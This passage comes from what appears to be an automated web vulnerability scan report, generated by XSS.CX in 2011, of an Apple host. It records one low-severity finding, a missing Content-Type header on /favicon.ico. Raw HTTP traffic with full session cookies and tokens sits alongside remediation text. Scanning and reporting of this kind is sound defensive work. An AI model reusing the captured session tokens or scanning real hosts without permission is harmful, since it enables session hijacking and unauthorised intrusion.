Cookie: JSESSIONID=BC0C49F544DE2A188D15FD6F2857B7BB; s_cvp35b=%5B%5B'google%253A%2520organic'%2C'1314836429529'%5D%5D; s_vi=[CS]v1|272F67E8051626F1-40000178A00342FD[CE]; dssid2=b875e382-cfc7-49ed-bdc9-7205c223295d; ac_IsSearchHomePage=0; ac_DocumentTypeFilterindex=0; ac_Productindex=0; ac_DocumentTypeFilterValues=0; ac_ProductIdVal=0; ac_search=xss%20NOT%20faq%7C%7C%7C%7Cxss%7C%7Cxss%20dave%20matthews; POD=us~en; Pod=19; ccl=6MjxOYuVbv5J3KaRaPgVo83Mv/C922tuyYFgJoWyDPSMaO6uAhC21tBsfmbHtSATTclFiEHXsUU6gFu9xmU/zsBhkjC15cPd/EuNgzt9WH2Jjvre4g0inO3YY+dxe2kxhGfYX8JwMaBNHJy5XpL3OD9YeQciMdPg/bxafwLVrv+TaOgYdERMFg==; geo=US; s_ria=Flash%2010%7C; s_orientationHeight=866; dfa_cookie=appleglobal%2Cappleusother%2Cappleusbuy%2Cappleuscorporate%2Capplehome%2Cappleussearch; s_pv=search%20results%20-%20index%20(us); s_ppv=search%2520results%2520-%2520index%2520%2528us%2529; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=channelprograms%3D10%2Cbuy%3D3%2Ccontact%3D1%2Chomepage%3D1%2Csearch%3D1%2C; s_invisit_n_us=77%2C62%2C46%2C3%2C27%2C; s_vnum_n_us=4%7C2%2C18%7C1%2C5%7C1%2C27%7C2%2C82%7C1%2C46%7C2%2C13%7C1%2C39%7C1%2C33%7C1%2C63%7C1%2C35%7C1%2C0%7C1%2C3%7C2%2C29%7C1%2C15%7C1%2C53%7C1%2C77%7C1%2C62%7C1; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1
Accept-Ranges: bytes
ETag: W/"749-1315908062000"
Last-Modified: Tue, 13 Sep 2011 10:01:02 GMT
Content-Type: text/html
Content-Length: 749
Date: Wed, 28 Sep 2011 01:39:25 GMT

<html>
<head>
   <script>
   function replace(s, t, u) {
       i = s.indexOf(t);
       r = "";
       if (i == -1)
           return s;
       r += s.substring(0,i) + u;
       if (i + t.length < s.length)
           r += replace(s.substring(i
...[SNIP]...

4. Content type is not specified  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://wdg2.apple.com
Path:   /favicon.ico

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: wdg2.apple.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cvp35b=%5B%5B'google%253A%2520organic'%2C'1314836429529'%5D%5D; s_vi=[CS]v1|272F67E8051626F1-40000178A00342FD[CE]; dssid2=b875e382-cfc7-49ed-bdc9-7205c223295d; ac_IsSearchHomePage=0; ac_DocumentTypeFilterindex=0; ac_Productindex=0; ac_DocumentTypeFilterValues=0; ac_ProductIdVal=0; ac_search=xss%20NOT%20faq%7C%7C%7C%7Cxss%7C%7Cxss%20dave%20matthews; POD=us~en; Pod=19; ccl=6MjxOYuVbv5J3KaRaPgVo83Mv/C922tuyYFgJoWyDPSMaO6uAhC21tBsfmbHtSATTclFiEHXsUU6gFu9xmU/zsBhkjC15cPd/EuNgzt9WH2Jjvre4g0inO3YY+dxe2kxhGfYX8JwMaBNHJy5XpL3OD9YeQciMdPg/bxafwLVrv+TaOgYdERMFg==; geo=US; s_ria=Flash%2010%7C; s_orientationHeight=866; dfa_cookie=appleglobal%2Cappleusother%2Cappleusbuy%2Cappleuscorporate%2Capplehome%2Cappleussearch; s_pv=search%20results%20-%20index%20(us); s_ppv=search%2520results%2520-%2520index%2520%2528us%2529; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=channelprograms%3D10%2Cbuy%3D3%2Ccontact%3D1%2Chomepage%3D1%2Csearch%3D1%2C; s_invisit_n_us=77%2C62%2C46%2C3%2C27%2C; s_vnum_n_us=4%7C2%2C18%7C1%2C5%7C1%2C27%7C2%2C82%7C1%2C46%7C2%2C13%7C1%2C39%7C1%2C33%7C1%2C63%7C1%2C35%7C1%2C0%7C1%2C3%7C2%2C29%7C1%2C15%7C1%2C53%7C1%2C77%7C1%2C62%7C1; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1
Accept-Ranges: bytes
ETag: W/"1406-1243035466000"
Last-Modified: Fri, 22 May 2009 23:37:46 GMT
Content-Length: 1406
Date: Wed, 28 Sep 2011 01:39:28 GMT

..............h.......(....... ....................................I..=l!.}H).~1{..us...u...o...q.............##...U...Z..CC.........A...K...m...v.....................................................
...[SNIP]...

Report generated by XSS.CX at Tue Sep 27 20:45:11 CDT 2011.